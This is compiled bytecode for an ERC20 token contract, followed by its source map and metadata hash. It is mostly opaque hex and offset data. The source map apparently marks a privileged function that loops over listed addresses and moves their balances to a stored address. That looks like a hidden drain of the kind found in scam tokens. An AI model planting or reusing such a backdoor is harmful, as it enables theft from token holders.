207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610355565b6108a881604051806060016040528060268152602001610c3f6026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906106c2565b73ffffffffffffffffffffffffffffffffffffffff8085165f9081526020819052604080822093909355908416815220546108e39082610707565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106b5565b5f602080835283518060208501525f5b8181101561096c57858101830151858201604001528201610950565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109cd575f80fd5b919050565b5f80604083850312156109e3575f80fd5b6109ec836109aa565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f6020808385031215610a38575f80fd5b823567ffffffffffffffff80821115610a4f575f80fd5b818501915085601f830112610a62575f80fd5b813581811115610a7457610a746109fa565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610ab757610ab76109fa565b604052918252848201925083810185019188831115610ad4575f80fd5b938501935b82851015610af957610aea856109aa565b84529385019392850192610ad9565b98975050505050505050565b5f805f60608486031215610b17575f80fd5b610b20846109aa565b9250610b2e602085016109aa565b9150604084013590509250925092565b5f60208284031215610b4e575f80fd5b610712826109aa565b5f8060408385031215610b68575f80fd5b610b71836109aa565b9150610b7f602084016109aa565b90509250929050565b600181811c90821680610b9c57607f821691505b602082108103610bd3577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b808201808211156102d2577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220526671ed3d9435e8d6a5ddbbf6feaba6786bf1a42545130791204771f704feef64736f6c63430008160033

18150:3637:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18784:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19967:169;;;;;;:::i;:::-;;:::i;:::-;;;1251:14:1;;1244:22;1226:41;;1214:2;1199:18;19967:169:0;1086:187:1;21408:376:0;;;;;;:::i;:::-;;:::i;:::-;;18512:23;;;;;;;;;;;;2828:42:1;2816:55;;;2798:74;;2786:2;2771:18;18512:23:0;2652:226:1;19061:100:0;19141:12;;19061:100;;;3029:25:1;;;3017:2;3002:18;19061:100:0;2883:177:1;19479:321:0;;;;;;:::i;:::-;;:::i;18970:83::-;19036:9;;18970:83;;19036:9;;;;3540:36:1;;3528:2;3513:18;18970:83:0;3398:184:1;19169:119:0;;;;;;:::i;:::-;19262:18;;19235:7;19262:18;;;;;;;;;;;;19169:119;18875:87;;;:::i;19296:175::-;;;;;;:::i;:::-;;:::i;19808:151::-;;;;;;:::i;:::-;19924:18;;;;19897:7;19924:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19808:151;18784:83;18821:13;18854:5;18847:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18784:83;:::o;19967:169::-;20050:4;20067:39;17226:10;20090:7;20099:6;20067:8;:39::i;:::-;-1:-1:-1;20124:4:0;19967:169;;;;;:::o;21408:376::-;21357:7;;;;21343:10;:21;21335:45;;;;;;;4687:2:1;21335:45:0;;;4669:21:1;4726:2;4706:18;;;4699:30;4765:13;4745:18;;;4738:41;4796:18;;21335:45:0;;;;;;;;;21485:9:::1;21480:297;21504:7;:14;21500:1;:18;21480:297;;;21540:15;21558:7;21566:1;21558:10;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;21600:18:::1;::::0;::::1;21583:14;21600:18:::0;;;;;;;;;;;21654:39;;;;::::1;::::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;:18;;;;;21558:10;;-1:-1:-1;21600:18:0;21654:39:::1;::::0;21600:18;;;;21654:22:::1;:39::i;:::-;21633:18;::::0;::::1;:9;:18:::0;;;::::1;::::0;;;;;;:60;;;;21732:21;;;;:33:::1;::::0;21758:6;21732:25:::1;:33::i;:::-;21708:9;:21:::0;;;::::1;::::0;;:57;-1:-1:-1;;21520:3:0::1;;21480:297;;;;21408:376:::0;:::o;19479:321::-;19585:4;19602:36;19612:6;19620:9;19631:6;19602:9;:36::i;:::-;19649:121;19658:6;17226:10;19680:89;19718:6;19680:89;;;;;;;;;;;;;;;;;:19;;;;;;;:11;:19;;;;;;;;17226:10;19680:33;;;;;;;;;;:37;:89::i;:::-;19649:8;:121::i;:::-;-1:-1:-1;19788:4:0;19479:321;;;;;:::o;18875:87::-;18914:13;18947:7;18940:14;;;;;:::i;19296:175::-;19382:4;19399:42;17226:10;19423:9;19434:6;19399:9;:42::i;20466:344::-;20568:19;;;20560:68;;;;;;;5216:2:1;20560:68:0;;;5198:21:1;5255:2;5235:18;;;5228:30;5294:34;5274:18;;;5267:62;5365:6;5345:18;;;5338:34;5389:19;;20560:68:0;5014:400:1;20560:68:0;20647:21;;;20639:68;;;;;;;5621:2:1;20639:68:0;;;5603:21:1;5660:2;5640:18;;;5633:30;5699:34;5679:18;;;5672:62;5770:4;5750:18;;;5743:32;5792:19;;20639:68:0;5419:398:1;20639:68:0;20718:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20770:32;;3029:25:1;;;20770:32:0;;3002:18:1;20770:32:0;;;;;;;;20466:344;;;:::o;14581:240::-;14701:7;14762:12;14754:6;;;;14746:29;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;14797:5:0;;;14581:240::o;12302:98::-;12360:7;12387:5;12391:1;12387;:5;:::i;:::-;12380:12;12302:98;-1:-1:-1;;;12302:98:0:o;20818:477::-;20924:20;;;20916:70;;;;;;;6308:2:1;20916:70:0;;;6290:21:1;6347:2;6327:18;;;6320:30;6386:34;6366:18;;;6359:62;6457:7;6437:18;;;6430:35;6482:19;;20916:70:0;6106:401:1;20916:70:0;21005:23;;;20997:71;;;;;;;6714:2:1;20997:71:0;;;6696:21:1;6753:2;6733:18;;;6726:30;6792:34;6772:18;;;6765:62;6863:5;6843:18;;;6836:33;6886:19;;20997:71:0;6512:399:1;20997:71:0;21099;21121:6;21099:71;;;;;;;;;;;;;;;;;:17;;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;21079:17;;;;:9;:17;;;;;;;;;;;:91;;;;21204:20;;;;;;;:32;;21229:6;21204:24;:32::i;:::-;21181:20;;;;:9;:20;;;;;;;;;;;;:55;;;;21252:35;3029:25:1;;;21181:20:0;;21252:35;;;;;;3002:18:1;21252:35:0;2883:177:1;14:607;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;612:2;542:66;537:2;529:6;525:15;521:88;510:9;506:104;502:113;494:121;;;;14:607;;;;:::o;626:196::-;694:20;;754:42;743:54;;733:65;;723:93;;812:1;809;802:12;723:93;626:196;;;:::o;827:254::-;895:6;903;956:2;944:9;935:7;931:23;927:32;924:52;;;972:1;969;962:12;924:52;995:29;1014:9;995:29;:::i;:::-;985:39;1071:2;1056:18;;;;1043:32;;-1:-1:-1;;;827:254:1:o;1278:184::-;1330:77;1327:1;1320:88;1427:4;1424:1;1417:15;1451:4;1448:1;1441:15;1467:1180;1551:6;1582:2;1625;1613:9;1604:7;1600:23;1596:32;1593:52;;;1641:1;1638;1631:12;1593:52;1681:9;1668:23;1710:18;1751:2;1743:6;1740:14;1737:34;;;1767:1;1764;1757:12;1737:34;1805:6;1794:9;1790:22;1780:32;;1850:7;1843:4;1839:2;1835:13;1831:27;1821:55;;1872:1;1869;1862:12;1821:55;1908:2;1895:16;1930:2;1926;1923:10;1920:36;;;1936:18;;:::i;:::-;1982:2;1979:1;1975:10;2014:2;2008:9;2073:66;2068:2;2064;2060:11;2056:84;2048:6;2044:97;2191:6;2179:10;2176:22;2171:2;2159:10;2156:18;2153:46;2150:72;;;2202:18;;:::i;:::-;2238:2;2231:22;2288:18;;;2322:15;;;;-1:-1:-1;2364:11:1;;;2360:20;;;2392:19;;;2389:39;;;2424:1;2421;2414:12;2389:39;2448:11;;;;2468:148;2484:6;2479:3;2476:15;2468:148;;;2550:23;2569:3;2550:23;:::i;:::-;2538:36;;2501:12;;;;2594;;;;2468:148;;;2635:6;1467:1180;-1:-1:-1;;;;;;;;1467:1180:1:o;3065:328::-;3142:6;3150;3158;3211:2;3199:9;3190:7;3186:23;3182:32;3179:52;;;3227:1;3224;3217:12;3179:52;3250:29;3269:9;3250:29;:::i;:::-;3240:39;;3298:38;3332:2;3321:9;3317:18;3298:38;:::i;:::-;3288:48;;3383:2;3372:9;3368:18;3355:32;3345:42;;3065:328;;;;;:::o;3587:186::-;3646:6;3699:2;3687:9;3678:7;3674:23;3670:32;3667:52;;;3715:1;3712;3705:12;3667:52;3738:29;3757:9;3738:29;:::i;3778:260::-;3846:6;3854;3907:2;3895:9;3886:7;3882:23;3878:32;3875:52;;;3923:1;3920;3913:12;3875:52;3946:29;3965:9;3946:29;:::i;:::-;3936:39;;3994:38;4028:2;4017:9;4013:18;3994:38;:::i;:::-;3984:48;;3778:260;;;;;:::o;4043:437::-;4122:1;4118:12;;;;4165;;;4186:61;;4240:4;4232:6;4228:17;4218:27;;4186:61;4293:2;4285:6;4282:14;4262:18;4259:38;4256:218;;4330:77;4327:1;4320:88;4431:4;4428:1;4421:15;4459:4;4456:1;4449:15;4256:218;;4043:437;;;:::o;4825:184::-;4877:77;4874:1;4867:88;4974:4;4971:1;4964:15;4998:4;4995:1;4988:15;5822:279;5887:9;;;5908:10;;;5905:190;;;5951:77;5948:1;5941:88;6052:4;6049:1;6042:15;6080:4;6077:1;6070:15

ipfs://526671ed3d9435e8d6a5ddbbf6feaba6786bf1a42545130791204771f704feef